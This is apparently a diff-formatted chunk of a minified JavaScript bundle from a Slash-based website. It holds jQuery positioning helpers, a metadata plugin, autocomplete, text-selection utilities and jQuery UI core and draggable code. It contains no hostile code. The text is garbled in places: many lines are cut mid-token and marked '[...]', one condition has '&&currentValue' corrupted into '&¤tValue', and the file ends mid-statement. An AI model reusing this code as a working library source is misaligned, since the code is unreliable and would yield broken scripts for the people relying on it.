+top+=parseInt(jQuery.curCSS(body,'marginTop',true),10)||0,left+=parseInt(jQuery.curCSS(body,'marginLeft',true),10)||0;return{top:top,left:left};}};jQuery.fn.extend({position:function(){var left=0,top=0,results;if(this[0]){var offsetParent=this.offsetParent(),offset=this.offset(),parentOffset=/^body|html$/i.test(offsetParent[0].tagName)?{top:0,left:0}:offsetParent.offset();offset.top-=num(this,'marginTop');offset.left-=num(this,'marginLeft');parentOffset.top+=num(offsetParent,'borderTopWi [...]
+return results;},offsetParent:function(){var offsetParent=this[0].offsetParent||document.body;while(offsetParent&&(!/^body|html$/i.test(offsetParent.tagName)&&jQuery.css(offsetParent,'position')=='static'))
+offsetParent=offsetParent.offsetParent;return jQuery(offsetParent);}});jQuery.each(['Left','Top'],function(i,name){var method='scroll'+name;jQuery.fn[method]=function(val){if(!this[0])return null;return val!==undefined?this.each(function(){this==window||this==document?window.scrollTo(!i?val:jQuery(window).scrollLeft(),i?val:jQuery(window).scrollTop()):this[method]=val;}):this[0]==window||this[0]==document?self[i?'pageYOffset':'pageXOffset']||jQuery.boxModel&&document.documentElement[meth [...]
+return result;}
+$.extend({metadata:{defaults:{type:'class',name:'metadata',cre:/({.*})/,single:'metadata'},setType:function(type,name){this.defaults.type=type;this.defaults.name=name;},get:function(elem,opts){var settings=$.extend({},this.defaults,opts);if(!settings.single.length)settings.single='metadata';var data=$.data(elem,settings.single);if(data)return data;data="{}";if(settings.type=="class"){var m=settings.cre.exec(elem.className);if(m)
+data=m[1];}else if(settings.type=="elem"){if(!elem.getElementsByTagName)return;var e=elem.getElementsByTagName(settings.name);if(e.length)
+data=$.trim(e[0].innerHTML);}else if(elem.getAttribute!=undefined){var attr=elem.getAttribute(settings.name);if(attr)
+data=attr;}
+if(data.indexOf('{')<0)
+data="{"+data+"}";data=evalMetadata("("+data+")");$.data(elem,settings.single,data);return data;}}});$.fn.metadata=function(opts){return $.metadata.get(this[0],opts);};})(jQuery);;(function($){window.Slash||(window.Slash={});Slash.jQuery=$;$.ajaxSetup({url:'/ajax.pl',type:'POST',contentType:'application/x-www-form-urlencoded'});})(jQuery);window.evalExpr=function(json){var key,results=window.evalExpr,result;if(json&&/\S/.test(json)){key='evalExpr_'+new Date().getTime();$.globalEval('wind [...]
+return result;}
+var Qw;(function(){var ANY_WS=/\s+/,OUTER_WS=/^\s+|\s+$/g;function clean(qw){if(typeof(qw)==='string'&&(qw=qw.replace(OUTER_WS,''))){qw=qw.split(ANY_WS);}
+return qw;}
+function make_array(qw){if(!(qw=clean(qw))){return[];}
+if(!TypeOf.list(qw)){qw=slashcore.reduce(qw,[],function(k,v){v&&this.push(k);});}
+return qw;}
+function make_set(qw){if(!(qw=clean(qw))){return{};}
+if(TypeOf.list(qw)){qw=slashcore.reduce(qw,{},function(i,v){this[v]=true;});}
+return qw;}
+function make_string(qw){return typeof(qw)==='string'?qw.replace(OUTER_WS,''):make_array(qw).join(' ');}
+Qw=$.extend(make_array,{as_array:make_array,as_set:make_set,as_string:make_string});})();var fhitem_info,fhitem_key;(function($){var KEY_TYPE=/\bsd-key-([-a-z]+)/i;fhitem_info=function(item,type){return $('span.sd-info-block span.'+type,item).text();}
+fhitem_key=function(item){var result;$('span.sd-info-block span[class^=sd-key-]',item).each(function(){result={key:$(this).text(),key_type:KEY_TYPE.exec(this.className)[1]};return false;});return result;}})(jQuery);$.fn.extend({getClass:function(){return this.attr('className');},setClass:function(expr){if(!expr||!expr.call){return this.attr('className',expr);}else{return this.each(function(){this.className=Qw.as_string(expr.call(this,Qw.as_set(this.className)));});}}});function sign(o){r [...]
+function between(lo,o,hi){if(lo<=hi){return o<lo&&-1||o>hi&&1||0;}}
+function pin_between(lo,o,hi){var b=between(lo,o,hi);if(b!==undefined){return arguments[1+between(lo,o,hi)];}}
+function applyToggle(map){return function(names){$.each(map,function(k,v){names[k]=(v=sign(v))<0?!names[k]:v;});return names;};}
+function applyMap(){var map={},N=arguments.length;if(N>1){for(var i=0;i<N;++i){map[arguments[i]]=arguments[(i+1)%N];}}else{map=arguments[0];}
+return function(old_names){var new_names={};$.each(old_names,function(k,v){new_names[map[k]||k]=v;});return new_names;};}
+function $any(expr){var el;return!expr&&$([])||typeof(expr)==='string'&&(el=document.getElementById(expr))&&$(el)||$(expr);}
+function elemAny(expr){return $any(expr)[0];}
+var $dom=elemAny;function original_target(e,selector){var old_target=e.originalTarget||e.originalEvent&&e.originalEvent.target||e.target,new_target=selector?$(old_target).closest(selector)[0]:old_target;old_target!==new_target&&(e.originalTarget=new_target);return new_target;};function Size(){var bare=this.__isa!==Size,self=bare?new Size:this,args=bare&&!arguments.length?[this]:arguments;return Size.prototype.assign.apply(self,args);}
+function Position(){var bare=this.__isa!==Position,self=bare?new Position:this,args=bare&&!arguments.length?[this]:arguments;return Position.prototype.assign.apply(self,args);}
+function Bounds(){var bare=this.__isa!==Bounds,self=bare?new Bounds:this,args=bare&&!arguments.length?[this]:arguments;return Bounds.prototype.assign.apply(self,args);}
+(function(){function _unwrap(o,allow_lists){if(TypeOf(o)==='string'){var el=document.getElementById(o);o=el?el:$(o);}
+return allow_lists||!TypeOf.list(o)?o:o[0];}
+function _isSize(o){var t=TypeOf(o),isNum=TypeOf.number;if(t==='size'||o&&isNum(o.height)&&isNum(o.width)){return t;}}
+function _hasSize(o){var t=TypeOf(o),isFn=TypeOf.fn;if(o&&isFn(o.height)&&isFn(o.width)){return t;}}
+function _isPosition(o){var t=TypeOf(o),isNum=TypeOf.number;if(t==='position'||t==='bounds'||t!=='window'&&o&&isNum(o.top)&&isNum(o.left)){return t;}}
+function _isBounds(o){var t=TypeOf(o),isNum=TypeOf.number;if(t==='bounds'||t!=='window'&&o&&isNum(o.top)&&isNum(o.left)&&isNum(o.bottom)&&isNum(o.right)){return t;}}
+Size.prototype={__isa:Size,__typeOf:function(){return'size';},assign:function(o){switch(!!o&&TypeOf(o=_unwrap(o))){case'document':case'element':case'window':o=$(o);default:if(_isSize(o)){break;}
+if(_hasSize(o)){o={height:o.height(),width:o.width()};break;}
+if(_isBounds(o)){o={height:o.bottom-o.top,width:o.right-o.left};break;}
+case'undefined':case'null':case false:o={height:0,width:0};}
+this.height=o.height;this.width=o.width;return this;},toString:function(){return'{ height:'+this.height+', width:'+this.width+' }';}};Size._expected=function(o){return _isSize(o)?o:new Size(o);};Position.prototype={__isa:Position,__typeOf:function(){return'position';},assign:function(o){if(!_isPosition(o)){switch(!!o&&TypeOf(o=_unwrap(o))){case'window':o=$(o);o={top:o.scrollTop(),left:o.scrollLeft()};break;case'element':o=$(o).offset();break;default:o={top:0,left:0};}}
+this.top=o.top;this.left=o.left;return this;},toString:function(){return'{ top:'+this.top+', left:'+this.left+' }';}};Position._expected=function(o){return _isPosition(o)?o:new Position(o);};Bounds.prototype={__isa:Bounds,__typeOf:function(){return'bounds';},assign:function(o1,o2){if(_isBounds(o1)){this.top=o1.top;this.left=o1.left;this.bottom=o1.bottom;this.right=o1.right;}else{var po1=Position._expected(o1);this.top=this.bottom=po1.top;this.left=this.right=po1.left;arguments.length==1& [...]
+return this;},toString:function(){return'{ top:'+this.top+', left:'+this.left+', bottom:'+this.bottom+', right:'+this.right+' }';},height:function(){return this.bottom-this.top;},width:function(){return this.right-this.left;},union:function(o){o=Bounds._expected(o);o.top<this.top&&(this.top=o.top);o.left<this.left&&(this.left=o.left);o.bottom>this.bottom&&(this.bottom=o.bottom);o.right>this.right&&(this.right=o.right);return this;},intersect:function(o){o=Bounds._expected(o);o.top>this.t [...]
+return result;}
+Bounds.union=function(){return _each_op.apply('union',arguments);};Bounds.intersection=function(){return _each_op.apply('intersect',arguments);};Bounds.intersect=function(a,b){return!Bounds.empty(Bounds.intersection(a,b));};Bounds.contain=function(a,b){return Bounds.equal(a,Bounds.union(a,b));};Bounds.y=function(o){var bounds=new Bounds(o);bounds.left=-Infinity;bounds.right=Infinity;return bounds;}
+Bounds.x=function(o){var bounds=new Bounds(o);bounds.top=-Infinity;bounds.bottom=Infinity;return bounds;}})();;(function($){$.TextSelection=function(el,r){if(this.field!==$.TextSelection.prototype.field){return new $.TextSelection(el,r);}
+spull(this,el);r&&spush(this.range(r));return this;};$.TextSelection.Error=function(description,obj){this._description=description;this._obj=obj;return this;};$.TextSelection.Error.prototype=new Error;$.TextSelection.get=function(el){if(!el){throw new $.TextSelection.Error('$.TextSelection.get(el): argument is required',el);}
+try{if(el.selectionStart!==undefined){return{selectionStart:el.selectionStart,selectionEnd:el.selectionEnd};}else if(el.createTextRange){var START=true,END=false;var bound=function(at_start){var tr=document.selection.createRange();if(tr.compareEndPoints('StartToEnd',tr)){tr.collapse(at_start);}
+return tr.getBookmark().charCodeAt(2)-2;};return{selectionStart:bound(START),selectionEnd:bound(END)};}}catch(e){}
+throw new $.TextSelection.Error('$.TextSelection.get(el): no range operations available on el',el);};$.TextSelection.set=function(el,r){if(!(el&&r)){throw new $.TextSelection.Error('$.TextSelection.set(el, r): both arguments are required',el);}
+try{if(el.createTextRange){var tr=el.createTextRange();tr.collapse(true);tr.moveStart('character',r.selectionStart);tr.moveEnd('character',r.selectionEnd);tr.select();}else if(el.setSelectionRange){el.setSelectionRange(r.selectionStart,r.selectionEnd);}else if(el.selectionStart!==undefined){el.selectionStart=r.selectionStart;el.selectionEnd=r.selectionEnd;}
+return;}catch(e){}
+throw new $.TextSelection.Error('$.TextSelection.set(el, r): no range operations available on el',el);};function spull(ts,el){try{ts._r=$.TextSelection.get(ts._el=(el||ts._el));}catch(e){ts._el=null;}
+return ts;}
+function spush(ts,el){try{$.TextSelection.set(el||ts._el,ts._r);}catch(e){}
+return ts;}
+$.TextSelection.prototype={field:function(el){return el?spull(this,el):this._el;},range:function(r,dont_select){if(r){this._r=r;return dont_select?this:spush(this);}else{return this._r;}},focus:function(){$(this._el||[]).filter(':enabled:visible').focus();},save:function(el){return spull(this,el);},restore:function(){return spush(this);}};})(jQuery);;(function($){$.fn.extend({autocomplete:function(urlOrData,options){var isUrl=typeof urlOrData=="string";options=$.extend({},$.Autocompleter [...]
+break;case KEY.DOWN:event.preventDefault();if(select.visible()){select.next();}else{onChange(0,true);}
+break;case KEY.PAGEUP:event.preventDefault();if(select.visible()){select.pageUp();}else{onChange(0,true);}
+break;case KEY.PAGEDOWN:event.preventDefault();if(select.visible()){select.pageDown();}else{onChange(0,true);}
+break;case options.multiple&&$.trim(options.multipleSeparator)==","&&KEY.COMMA:case KEY.TAB:case KEY.RETURN:if(selectCurrent()){event.preventDefault();blockSubmit=true;return false;}
+break;case KEY.ESC:select.hide();break;default:clearTimeout(timeout);timeout=setTimeout(onChange,options.delay);break;}}).focus(function(){hasFocus++;}).blur(function(){hasFocus=0;if(!config.mouseDownOnSelect){hideResults();}}).click(function(){if(hasFocus++>1&&!select.visible()){onChange(0,true);}}).bind("search",function(){var fn=(arguments.length>1)?arguments[1]:null;function findValueCallback(q,data){var result;if(data&&data.length){for(var i=0;i<data.length;i++){if(data[i].result.to [...]
+if(typeof fn=="function")fn(result);else $input.trigger("result",result&&[result.data,result.value]);}
+$.each(trimWords($input.val()),function(i,value){request(value,findValueCallback,findValueCallback);});}).bind("flushCache",function(){cache.flush();}).bind("setOptions",function(){$.extend(options,arguments[1]);if("data"in arguments[1])
+cache.populate();}).bind("unautocomplete",function(){select.unbind();$input.unbind();$(input.form).unbind(".autocomplete");});function selectCurrent(){var selected=select.selected();if(!selected)
+return false;var v=selected.result;previousValue=v;if(options.multiple){var words=trimWords($input.val());if(words.length>1){var seperator=options.multipleSeparator.length;var cursorAt=$(input).selection().start;var wordAt,progress=0;$.each(words,function(i,word){progress+=word.length;if(cursorAt<=progress){wordAt=i;return false;}
+progress+=seperator;});words[wordAt]=v;v=words.join(options.multipleSeparator);}
+v+=options.multipleSeparator;}
+$input.val(v);hideResultsNow();$input.trigger("result",[selected.data,selected.value]);return true;}
+function onChange(crap,skipPrevCheck){if(lastKeyPressCode==KEY.DEL){select.hide();return;}
+var currentValue=$input.val();if(!skipPrevCheck&¤tValue==previousValue)
+return;previousValue=currentValue;currentValue=lastWord(currentValue);if(currentValue.length>=options.minChars){$input.addClass(options.loadingClass);if(!options.matchCase)
+currentValue=currentValue.toLowerCase();request(currentValue,receiveData,hideResultsNow);}else{stopLoading();select.hide();}};function trimWords(value){if(!value)
+return[""];if(!options.multiple)
+return[$.trim(value)];return $.map(value.split(options.multipleSeparator),function(word){return $.trim(value).length?$.trim(word):null;});}
+function lastWord(value){if(!options.multiple)
+return value;var words=trimWords(value);if(words.length==1)
+return words[0];var cursorAt=$(input).selection().start;if(cursorAt==value.length){words=trimWords(value)}else{words=trimWords(value.replace(value.substring(cursorAt),""));}
+return words[words.length-1];}
+function autoFill(q,sValue){if(options.autoFill&&(lastWord($input.val()).toLowerCase()==q.toLowerCase())&&lastKeyPressCode!=KEY.BACKSPACE){$input.val($input.val()+sValue.substring(lastWord(previousValue).length));$(input).selection(previousValue.length,previousValue.length+sValue.length);}};function hideResults(){clearTimeout(timeout);timeout=setTimeout(hideResultsNow,200);};function hideResultsNow(){var wasVisible=select.visible();select.hide();clearTimeout(timeout);stopLoading();if(opt [...]
+else{$input.val("");$input.trigger("result",null);}}});}};function receiveData(q,data){if(data&&data.length&&hasFocus){stopLoading();select.display(data,q);autoFill(q,data[0].value);select.show();}else{hideResultsNow();}};function request(term,success,failure){if(!options.matchCase)
+term=term.toLowerCase();var data=cache.load(term);if(data&&data.length){success(term,data);}else if((typeof options.url=="string")&&(options.url.length>0)){var extraParams={timestamp:+new Date()};$.each(options.extraParams,function(key,param){extraParams[key]=typeof param=="function"?param():param;});$.ajax({mode:"abort",port:"autocomplete"+input.name,dataType:options.dataType,url:options.url,data:$.extend({q:lastWord(term),limit:options.max},extraParams),success:function(data){var parse [...]
+return parsed;};function stopLoading(){$input.removeClass(options.loadingClass);};};$.Autocompleter.defaults={inputClass:"ac_input",resultsClass:"ac_results",loadingClass:"ac_loading",minChars:1,delay:400,matchCase:false,matchSubset:true,matchContains:false,cacheLength:10,max:100,mustMatch:false,extraParams:{},selectFirst:true,formatItem:function(row){return row[0];},formatMatch:null,autoFill:false,width:0,multiple:false,multipleSeparator:", ",highlight:function(value,term){return value. [...]
+s=s.toLowerCase();var i=s.indexOf(sub);if(options.matchContains=="word"){i=s.toLowerCase().search("\\b"+sub.toLowerCase());}
+if(i==-1)return false;return i==0||options.matchContains;};function add(q,value){if(length>options.cacheLength){flush();}
+if(!data[q]){length++;}
+data[q]=value;}
+function populate(){if(!options.data)return false;var stMatchSets={},nullData=0;if(!options.url)options.cacheLength=1;stMatchSets[""]=[];for(var i=0,ol=options.data.length;i<ol;i++){var rawValue=options.data[i];rawValue=(typeof rawValue=="string")?[rawValue]:rawValue;var value=options.formatMatch(rawValue,i+1,options.data.length);if(value===false)
+continue;var firstChar=value.charAt(0).toLowerCase();if(!stMatchSets[firstChar])
+stMatchSets[firstChar]=[];var row={value:value,data:rawValue,result:options.formatResult&&options.formatResult(rawValue)||value};stMatchSets[firstChar].push(row);if(nullData++<options.max){stMatchSets[""].push(row);}};$.each(stMatchSets,function(i,value){options.cacheLength++;add(i,value);});}
+setTimeout(populate,25);function flush(){data={};length=0;}
+return{flush:flush,add:add,populate:populate,load:function(q){if(!options.cacheLength||!length)
+return null;if(!options.url&&options.matchContains){var csub=[];for(var k in data){if(k.length>0){var c=data[k];$.each(c,function(i,x){if(matchSubset(x.value,q)){csub.push(x);}});}}
+return csub;}else
+if(data[q]){return data[q];}else
+if(options.matchSubset){for(var i=q.length-1;i>=options.minChars;i--){var c=data[q.substr(0,i)];if(c){var csub=[];$.each(c,function(i,x){if(matchSubset(x.value,q)){csub[csub.length]=x;}});return csub;}}}
+return null;}};};$.Autocompleter.Select=function(options,input,select,config){var CLASSES={ACTIVE:"ac_over"};var listItems,active=-1,data,term="",needsInit=true,element,list;function init(){if(!needsInit)
+return;element=$("<div/>")
+.hide()
+.addClass(options.resultsClass)
+.css("position","absolute")
+.appendTo(document.body);list=$("<ul/>").appendTo(element).mouseover(function(event){if(target(event).nodeName&&target(event).nodeName.toUpperCase()=='LI'){active=$("li",list).removeClass(CLASSES.ACTIVE).index(target(event));$(target(event)).addClass(CLASSES.ACTIVE);}}).click(function(event){$(target(event)).addClass(CLASSES.ACTIVE);select();input.focus();return false;}).mousedown(function(){config.mouseDownOnSelect=true;}).mouseup(function(){config.mouseDownOnSelect=false;});if(options. [...]
+element.css("width",options.width);needsInit=false;}
+function target(event){var element=event.target;while(element&&element.tagName!="LI")
+element=element.parentNode;if(!element)
+return[];return element;}
+function moveSelect(step){listItems.slice(active,active+1).removeClass(CLASSES.ACTIVE);movePosition(step);var activeItem=listItems.slice(active,active+1).addClass(CLASSES.ACTIVE);if(options.scroll){var offset=0;listItems.slice(0,active).each(function(){offset+=this.offsetHeight;});if((offset+activeItem[0].offsetHeight-list.scrollTop())>list[0].clientHeight){list.scrollTop(offset+activeItem[0].offsetHeight-list.innerHeight());}else if(offset<list.scrollTop()){list.scrollTop(offset);}}};fu [...]
+function limitNumberOfItems(available){return options.max&&options.max<available?options.max:available;}
+function fillList(){list.empty();var max=limitNumberOfItems(data.length);for(var i=0;i<max;i++){if(!data[i])
+continue;var formatted=options.formatItem(data[i].data,i+1,max,data[i].value,term);if(formatted===false)
+continue;var li=$("<li/>").html(options.highlight(formatted,term)).addClass(i%2==0?"ac_even":"ac_odd").appendTo(list)[0];$.data(li,"ac_data",data[i]);}
+listItems=list.find("li");if(options.selectFirst){listItems.slice(0,1).addClass(CLASSES.ACTIVE);active=0;}
+if($.fn.bgiframe)
+list.bgiframe();}
+return{display:function(d,q){init();data=d;term=q;fillList();},next:function(){moveSelect(1);},prev:function(){moveSelect(-1);},pageUp:function(){if(active!=0&&active-8<0){moveSelect(-active);}else{moveSelect(-8);}},pageDown:function(){if(active!=listItems.size()-1&&active+8>listItems.size()){moveSelect(listItems.size()-1-active);}else{moveSelect(8);}},hide:function(){element&&element.hide();listItems&&listItems.removeClass(CLASSES.ACTIVE);active=-1;},visible:function(){return element&&e [...]
+var field=this[0];if(field.createTextRange){var range=document.selection.createRange(),orig=field.value,teststring="<->",textLength=range.text.length;range.text=teststring;var caretAt=field.value.indexOf(teststring);field.value=orig;this.selection(caretAt,caretAt+textLength);return{start:caretAt,end:caretAt+textLength}}else if(field.selectionStart!==undefined){return{start:field.selectionStart,end:field.selectionEnd}}};})(jQuery);;jQuery.ui||(function($){var _remove=$.fn.remove,isFF2=$.b [...]
+for(var i=0;i<set.length;i++){if(instance.options[set[i][0]]){set[i][1].apply(instance.element,args);}}}},contains:function(a,b){return document.compareDocumentPosition?a.compareDocumentPosition(b)&16:a!==b&&a.contains(b);},hasScroll:function(el,a){if($(el).css('overflow')=='hidden'){return false;}
+var scroll=(a&&a=='left')?'scrollLeft':'scrollTop',has=false;if(el[scroll]>0){return true;}
+el[scroll]=1;has=(el[scroll]>0);el[scroll]=0;return has;},isOverAxis:function(x,reference,size){return(x>reference)&&(x<(reference+size));},isOver:function(y,x,top,left,height,width){return $.ui.isOverAxis(y,top,height)&&$.ui.isOverAxis(x,left,width);},keyCode:{BACKSPACE:8,CAPS_LOCK:20,COMMA:188,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_ [...]
+$.fn.extend({remove:function(){$("*",this).add(this).each(function(){$(this).triggerHandler("remove");});return _remove.apply(this,arguments);},enableSelection:function(){return this
+.attr('unselectable','off')
+.css('MozUserSelect','')
+.unbind('selectstart.ui');},disableSelection:function(){return this
+.attr('unselectable','on')
+.css('MozUserSelect','none')
+.bind('selectstart.ui',function(){return false;});},scrollParent:function(){var scrollParent;if(($.browser.msie&&(/(static|relative)/).test(this.css('position')))||(/absolute/).test(this.css('position'))){scrollParent=this.parents().filter(function(){return(/(relative|absolute|fixed)/).test($.curCSS(this,'position',1))&&(/(auto|scroll)/).test($.curCSS(this,'overflow',1)+$.curCSS(this,'overflow-y',1)+$.curCSS(this,'overflow-x',1));}).eq(0);}else{scrollParent=this.parents().filter(function [...]
+return(/fixed/).test(this.css('position'))||!scrollParent.length?$(document):scrollParent;}});$.extend($.expr[':'],{data:function(elem,i,match){return!!$.data(elem,match[3]);},focusable:function(element){var nodeName=element.nodeName.toLowerCase(),tabIndex=$.attr(element,'tabindex');return(/input|select|textarea|button|object/.test(nodeName)?!element.disabled:'a'==nodeName||'area'==nodeName?element.href||!isNaN(tabIndex):!isNaN(tabIndex))
+&&!$(element)['area'==nodeName?'parents':'closest'](':hidden').length;},tabbable:function(element){var tabIndex=$.attr(element,'tabindex');return(isNaN(tabIndex)||tabIndex>=0)&&$(element).is(':focusable');}});function getter(namespace,plugin,method,args){function getMethods(type){var methods=$[namespace][plugin][type]||[];return(typeof methods=='string'?methods.split(/,?\s+/):methods);}
+var methods=getMethods('getter');if(args.length==1&&typeof args[0]=='string'){methods=methods.concat(getMethods('getterSetter'));}
+return($.inArray(method,methods)!=-1);}
+$.widget=function(name,prototype){var namespace=name.split(".")[0];name=name.split(".")[1];$.fn[name]=function(options){var isMethodCall=(typeof options=='string'),args=Array.prototype.slice.call(arguments,1);if(isMethodCall&&options.substring(0,1)=='_'){return this;}
+if(isMethodCall&&getter(namespace,name,options,args)){var instance=$.data(this[0],name);return(instance?instance[options].apply(instance,args):undefined);}
+return this.each(function(){var instance=$.data(this,name);(!instance&&!isMethodCall&&$.data(this,name,new $[namespace][name](this,options))._init());(instance&&isMethodCall&&$.isFunction(instance[options])&&instance[options].apply(instance,args));});};$[namespace]=$[namespace]||{};$[namespace][name]=function(element,options){var self=this;this.namespace=namespace;this.widgetName=name;this.widgetEventPrefix=$[namespace][name].eventPrefix||name;this.widgetBaseClass=namespace+'-'+name;this [...]
+.bind('setData.'+name,function(event,key,value){if(event.target==element){return self._setData(key,value);}})
+.bind('getData.'+name,function(event,key){if(event.target==element){return self._getData(key);}})
+.bind('remove',function(){return self.destroy();});};$[namespace][name].prototype=$.extend({},$.widget.prototype,prototype);$[namespace][name].getterSetter='option';};$.widget.prototype={_init:function(){},destroy:function(){this.element.removeData(this.widgetName)
+.removeClass(this.widgetBaseClass+'-disabled'+' '+this.namespace+'-state-disabled')
+.removeAttr('aria-disabled');},option:function(key,value){var options=key,self=this;if(typeof key=="string"){if(value===undefined){return this._getData(key);}
+options={};options[key]=value;}
+$.each(options,function(key,value){self._setData(key,value);});},_getData:function(key){return this.options[key];},_setData:function(key,value){this.options[key]=value;if(key=='disabled'){this.element
+[value?'addClass':'removeClass'](this.widgetBaseClass+'-disabled'+' '+
+this.namespace+'-state-disabled')
+.attr("aria-disabled",value);}},enable:function(){this._setData('disabled',false);},disable:function(){this._setData('disabled',true);},_trigger:function(type,event,data){var callback=this.options[type],eventName=(type==this.widgetEventPrefix?type:this.widgetEventPrefix+type);event=$.Event(event);event.type=eventName;if(event.originalEvent){for(var i=$.event.props.length,prop;i;){prop=$.event.props[--i];event[prop]=event.originalEvent[prop];}}
+this.element.trigger(event,data);return!($.isFunction(callback)&&callback.call(this.element[0],event,data)===false||event.isDefaultPrevented());}};$.widget.defaults={disabled:false};$.ui.mouse={_mouseInit:function(){var self=this;this.element
+.bind('mousedown.'+this.widgetName,function(event){return self._mouseDown(event);})
+.bind('click.'+this.widgetName,function(event){if(self._preventClickEvent){self._preventClickEvent=false;event.stopImmediatePropagation();return false;}});if($.browser.msie){this._mouseUnselectable=this.element.attr('unselectable');this.element.attr('unselectable','on');}
+this.started=false;},_mouseDestroy:function(){this.element.unbind('.'+this.widgetName);($.browser.msie&&this.element.attr('unselectable',this._mouseUnselectable));},_mouseDown:function(event){event.originalEvent=event.originalEvent||{};if(event.originalEvent.mouseHandled){return;}
+(this._mouseStarted&&this._mouseUp(event));this._mouseDownEvent=event;var self=this,btnIsLeft=(event.which==1),elIsCancel=(typeof this.options.cancel=="string"?$(event.target).parents().add(event.target).filter(this.options.cancel).length:false);if(!btnIsLeft||elIsCancel||!this._mouseCapture(event)){return true;}
+this.mouseDelayMet=!this.options.delay;if(!this.mouseDelayMet){this._mouseDelayTimer=setTimeout(function(){self.mouseDelayMet=true;},this.options.delay);}
+if(this._mouseDistanceMet(event)&&this._mouseDelayMet(event)){this._mouseStarted=(this._mouseStart(event)!==false);if(!this._mouseStarted){event.preventDefault();return true;}}
+this._mouseMoveDelegate=function(event){return self._mouseMove(event);};this._mouseUpDelegate=function(event){return self._mouseUp(event);};$(document)
+.bind('mousemove.'+this.widgetName,this._mouseMoveDelegate)
+.bind('mouseup.'+this.widgetName,this._mouseUpDelegate);($.browser.safari||event.preventDefault());event.originalEvent.mouseHandled=true;return true;},_mouseMove:function(event){if($.browser.msie&&!event.button){return this._mouseUp(event);}
+if(this._mouseStarted){this._mouseDrag(event);return event.preventDefault();}
+if(this._mouseDistanceMet(event)&&this._mouseDelayMet(event)){this._mouseStarted=(this._mouseStart(this._mouseDownEvent,event)!==false);(this._mouseStarted?this._mouseDrag(event):this._mouseUp(event));}
+return!this._mouseStarted;},_mouseUp:function(event){$(document)
+.unbind('mousemove.'+this.widgetName,this._mouseMoveDelegate)
+.unbind('mouseup.'+this.widgetName,this._mouseUpDelegate);if(this._mouseStarted){this._mouseStarted=false;this._preventClickEvent=(event.target==this._mouseDownEvent.target);this._mouseStop(event);}
+return false;},_mouseDistanceMet:function(event){return(Math.max(Math.abs(this._mouseDownEvent.pageX-event.pageX),Math.abs(this._mouseDownEvent.pageY-event.pageY))>=this.options.distance);},_mouseDelayMet:function(event){return this.mouseDelayMet;},_mouseStart:function(event){},_mouseDrag:function(event){},_mouseStop:function(event){},_mouseCapture:function(event){return true;}};$.ui.mouse.defaults={cancel:null,distance:1,delay:0};})(jQuery);(function($){$.widget("ui.draggable",$.extend( [...]
+this.element[0].style.position='relative';(this.options.addClasses&&this.element.addClass("ui-draggable"));(this.options.disabled&&this.element.addClass("ui-draggable-disabled"));this._mouseInit();},destroy:function(){if(!this.element.data('draggable'))return;this.element
+.removeData("draggable")
+.unbind(".draggable")
+.removeClass("ui-draggable"
++" ui-draggable-dragging"
++" ui-draggable-disabled");this._mouseDestroy();},_mouseCapture:function(event){var o=this.options;if(this.helper||o.disabled||$(event.target).is('.ui-resizable-handle'))
+return false;this.handle=this._getHandle(event);if(!this.handle)
+return false;return true;},_mouseStart:function(event){var o=this.options;this.helper=this._createHelper(event);this._cacheHelperProportions();if($.ui.ddmanager)
+$.ui.ddmanager.current=this;this._cacheMargins();this.cssPosition=this.helper.css("position");this.scrollParent=this.helper.scrollParent();this.offset=this.element.offset();this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left};$.extend(this.offset,{click:{left:event.pageX-this.offset.left,top:event.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this._generatePosition(event);this.origina [...]
+this._adjustOffsetFromHelper(o.cursorAt);if(o.containment)
+this._setContainment();this._trigger("start",event);this._cacheHelperProportions();if($.ui.ddmanager&&!o.dropBehaviour)
+$.ui.ddmanager.prepareOffsets(this,event);this.helper.addClass("ui-draggable-dragging");this._mouseDrag(event,true);return true;},_mouseDrag:function(event,noPropagation){this.position=this._generatePosition(event);this.positionAbs=this._convertPositionTo("absolute");if(!noPropagation){var ui=this._uiHash();this._trigger('drag',event,ui);this.position=ui.position;}
+if(!this.options.axis||this.options.axis!="y")this.helper[0].style.left=this.position.left+'px';if(!this.options.axis||this.options.axis!="x")this.helper[0].style.top=this.position.top+'px';if($.ui.ddmanager)$.ui.ddmanager.drag(this,event);return false;},_mouseStop:function(event){var dropped=false;if($.ui.ddmanager&&!this.options.dropBehaviour)
+dropped=$.ui.ddmanager.drop(this,event);if(this.dropped){dropped=this.dropped;this.dropped=false;}
+if((this.options.revert=="invalid"&&!dropped)||(this.options.revert=="valid"&&dropped)||this.options.revert===true||($.isFunction(this.options.revert)&&this.options.revert.call(this.element,dropped))){var self=this;$(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){self._trigger("stop",event);self._clear();});}else{this._trigger("stop",event);this._clear();}
+return false;},_getHandle:function(event){var handle=!this.options.handle||!$(this.options.handle,this.element).length?true:false;$(this.options.handle,this.element)
+.find("*")
+.andSelf()
+.each(function(){if(this==event.target)handle=true;});return handle;},_createHelper:function(event){var o=this.options;var helper=$.isFunction(o.helper)?$(o.helper.apply(this.element[0],[event])):(o.helper=='clone'?this.element.clone():this.element);if(!helper.parents('body').length)
+helper.appendTo((o.appendTo=='parent'?this.element[0].parentNode:o.appendTo));if(helper[0]!=this.element[0]&&!(/(fixed|absolute)/).test(helper.css("position")))
+helper.css("position","absolute");return helper;},_adjustOffsetFromHelper:function(obj){if(obj.left!=undefined)this.offset.click.left=obj.left+this.margins.left;if(obj.right!=undefined)this.offset.click.left=this.helperProportions.width-obj.right+this.margins.left;if(obj.top!=undefined)this.offset.click.top=obj.top+this.margins.top;if(obj.bottom!=undefined)this.offset.click.top=this.helperProportions.height-obj.bottom+this.margins.top;},_getParentOffset:function(){this.offsetParent=this. [...]
+if((this.offsetParent[0]==document.body)||(this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()=='html'&&$.browser.msie))
